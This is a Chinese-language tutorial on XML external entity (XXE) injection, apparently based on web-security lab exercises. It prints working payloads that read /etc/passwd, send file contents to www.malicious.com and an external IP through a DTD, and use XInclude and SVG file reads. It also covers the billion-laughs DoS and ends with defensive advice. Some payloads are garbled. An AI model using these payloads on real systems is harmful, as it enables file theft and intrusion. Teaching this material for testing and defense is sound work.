WHCSRL 技术网

XXE是什么

XML 外部实体 (XXE) 注入

背景:什么是XML?

XML 指可扩展标记语言(EXtensible Markup Language),它是用于存储和传输数据的最常用的语言

与HTML区别
它是用来对HTML的补充,HTML只能定义数据的展示,而XML能定义数据的组织。XML是一种自我描述语言。
它不包含任何预定义的标签,如

、 等。所有标签都是用户定义的,具体取决于它所代表的数据。、 等

什么是 XML 外部实体注入?

XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,如果禁止了就是合规的xml文件,导致可加载恶意外部文件和代码,具体来说是XML的DTD会定义实体部分,实体部分对于XML就像是变量,但他不仅是变量,还可以用来调用本地文件1.txt或外部实体https://baidu.com。正因为这里实体有这么强大的功能,因此也容易被攻击。常见的攻击有任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

XXE 漏洞怎么验证?

XXE漏洞出现在包含xml的文件,对于现实世界的 XXE 漏洞,提交的 XML 中通常会有大量数据值,其中任何一个都可能在应用程序的响应中使用。要系统地测试 XXE 漏洞,您通常需要单独测试 XML 中的每个数据节点,方法是使用您定义的实体并查看它是否出现在响应中。
如下是一份含xml的请求,案例来自靶场在原始的xml文件中你需要增加你的恶意payload,并调用该变量。具体变量调用在productId还是storeId之间需要手动测试。

POST /product/stock HTTP/1.1Host: ac391f291f66563c80495011008200db.web-security-academy.netConnection: closeContent-Length: 107Origin: https://ac391f291f66563c80495011008200db.web-security-academy.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36Content-Type: application/xmlAccept: */*Referer: https://ac391f291f66563c80495011008200db.web-security-academy.net/product?productId=2Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: session=hpqccPz9SimfThZLsXhO4Sa4xkDXHRRJ<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>2</productId><storeId>1</storeId></stockCheck>
  • 1

XXE 攻击有哪些类型?

有多种类型的 XXE 攻击:

利用 XXE 来检索 files,其中定义了一个包含文件内容的外部实体,并在应用程序的响应中返回。
利用 XXE 执行 SSRF 攻击,其中根据后端系统的 URL 定义外部实体。
利用盲 XXE 带外数据泄露,敏感数据从应用服务器传输到攻击者控制的系统。
利用盲XXE通过错误消息检索数据,攻击者可以在其中触发包含敏感数据的解析错误消息。

利用XXE检索文件

# 读取服务器密码## 情况1:有回显<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo (foo取名任意) [<!ELEMENT foo ANY 其他任意实体 ><!ENTITY xxe(变量名) SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>## 情况2:无回显(+远程)<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY %%%% xxe SYSTEM "file:///etc/passwd" >#将文件内容作为参数发送到黑客服务器<!ENTITY callhome SYSTEM "www.malicious.com/?%%%%xxe;">]><foo>&callhome;</foo>
  • 1

无回显补充:

如果目标站点没有回显,就将目标站点的文件直接请求到自己服务器
注意这里额外多使用了个base64加密是因为这是php文件读取的方法,php读取文件就不必在写全目录了(当然写全也无可厚非,如下图就是写全的),如果是同级目录下就是test.txt
在这里插入图片描述
请求的数据包要打开自己服务器看日志才能读取。这里写入到自己服务器理论上应该也可以,但是没有看到XML语言支持写入的 。
在这里插入图片描述

利用XXE进行SSRF攻击?

利用XXE进行SSRF攻击,可以诱导服务器端应用程序向服务器可以访问的任何 URL 发出 HTTP 请求。

要利用 XXE 漏洞执行SSRF 攻击,您需要使用要定位的 URL 定义外部 XML 实体,并在数据值中使用定义的实体。如果您可以在应用程序响应中返回的数据值中使用定义的实体,那么您将能够从应用程序响应中的 URL 查看响应,从而获得与后端系统的双向交互。如果没有,那么您将只能执行盲目的 SSRF攻击(这仍然会产生严重的后果)。

在以下 XXE 示例中,外部实体将导致服务器向组织基础架构内的内部系统发出后端 HTTP 请求:

]>

XXE 亿笑攻击-DOS

第一次进行这种攻击时,攻击者使用lol作为实体数据,并在随后的几个实体中多次调用它。执行时间呈指数级增长,结果是一次成功的 DoS 攻击导致网站瘫痪。由于使用 lol 并多次调用它导致了数十亿个请求,我们得到了“Billion Laugh Attack”这个名字
在这里插入图片描述
在这里,我们看到在1 处,我们已经声明了名为“ ignite”的实体,然后在其他几个实体中调用了 ignite,从而形成了一个回调链,这将使服务器过载。在2 处,我们调用了实体&ignite9; 我们已经调用 ignite9 而不是 ignite,因为 ignite9 多次调用 ignite8,每次调用 ignite8 时都会启动 ignite7,依此类推。因此,请求将花费指数级的时间来执行,结果,网站将关闭。
以上命令导致 DoS 攻击,我们得到的输出是:
在这里插入图片描述

寻找 XXE 注入的隐藏攻击面

前端数据没有定义DOCTYPE

一些应用程序接收客户端提交的数据,在服务器端将其嵌入到 XML 文档中,然后解析该文档。当客户端提交的数据被放入后端 SOAP 请求,然后由后端 SOAP 服务处理时,就会发生这种情况。

在这种情况下,您无法执行经典的 XXE 攻击,因为您无法控制整个 XML 文档,因此无法定义或修改DOCTYPE元素。但是,您也许可以XInclude改用。XInclude是 XML 规范的一部分,它允许从子文档构建 XML 文档。您可以XInclude在 XML 文档中的任何数据值中放置攻击,因此可以在您只控制放置在服务器端 XML 文档中的单个数据项的情况下执行攻击。

要执行XInclude攻击,您需要引用XInclude命名空间并提供要包含的文件的路径。例如:

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
  • 1

允许上传特定文件,无xml在前端回显

一些常见的文件格式使用 XML 或包含 XML 子组件。如下:
图像格式
指SVG
SVG包含XML,攻击者可以提交恶意的 SVG 图像,如下将svg编辑为以下内容从而达到 XXE 漏洞的隐藏攻击面。

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
  • 1

文件格式
如果网站允许上传 .docx .xlsx 、 .pptx 文件,其实本质只是个 XML 文件的压缩包。
创建了一个 .docx (或其他x) 文件以及图像格式(如 ),并使用 7zip 打开它来提取内容,并将下面的载荷插入了一个 XML 文件中

<!DOCTYPE root [<!ENTITY %%%% file SYSTEM "file:///etc/passwd"><!ENTITY %%%% dtd SYSTEM "http://197.37.102.90/ext.dtd">%%%%dtd;%%%%send;]]>
  • 1

通过修改内容类型进行 XXE 攻击

大多数 POST 请求使用由 HTML 表单生成的默认内容类型,例如application/x-www-form-urlencoded. 一些网站希望接收这种格式的请求,但会容忍其他内容类型,包括 XML。

例如,如果正常请求包含以下内容:

POST /action HTTP/1.0Content-Type: application/x-www-form-urlencodedContent-Length: 7foo=bar
  • 1

然后您可以提交以下请求,结果相同:

POST /action HTTP/1.0Content-Type: text/xmlContent-Length: 52<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
  • 1

如果应用程序容忍消息正文中包含 XML 的请求,并将正文内容解析为 XML,那么您只需将请求重新格式化为使用 XML 格式即可到达隐藏的 XXE 攻击面。

如何查找和测试 XXE 漏洞

自动化工具

使用 Burp Suite 的Web 漏洞扫描器可以快速可靠地找到绝大多数 XXE 漏洞。


XXEinjector的漏洞利用工具,XXEinjector是一款基于Ruby的XXE注入工具,它可以使用多种直接或间接带外方法来检索文件。其中,目录枚举功能只对Java应用程序有效,而暴力破解攻击需要使用到其他应用程序。
工具地址 https://github.com/enjoiz/XXEinjector

手动测试

手动测试 XXE 漏洞通常涉及:

通过定义基于众所周知的操作系统文件的外部实体并在应用程序响应中返回的数据中使用该实体来 测试文件检索。
通过根据您控制的系统的 URL 定义外部实体并监视与该系统的交互来 测试盲 XXE 漏洞。
通过使用XInclude 攻击尝试检索众所周知的操作系统文件,测试服务器端 XML 文档中是否包含用户提供的非 XML 数据的漏洞。

XXE防御方案

几乎所有 XXE 漏洞的出现都是因为应用程序的 XML 解析库支持应用程序不需要或打算使用的潜在危险的 XML 功能。防止 XXE 攻击的最简单和最有效的方法是禁用这些功能。

通常,禁用外部实体的解析并禁用对XInclude. 这通常可以通过配置选项或以编程方式覆盖默认行为来完成。有关如何禁用不必要的功能的详细信息,请参阅 XML 解析库或 API 的文档。
在这里插入图片描述

推荐阅读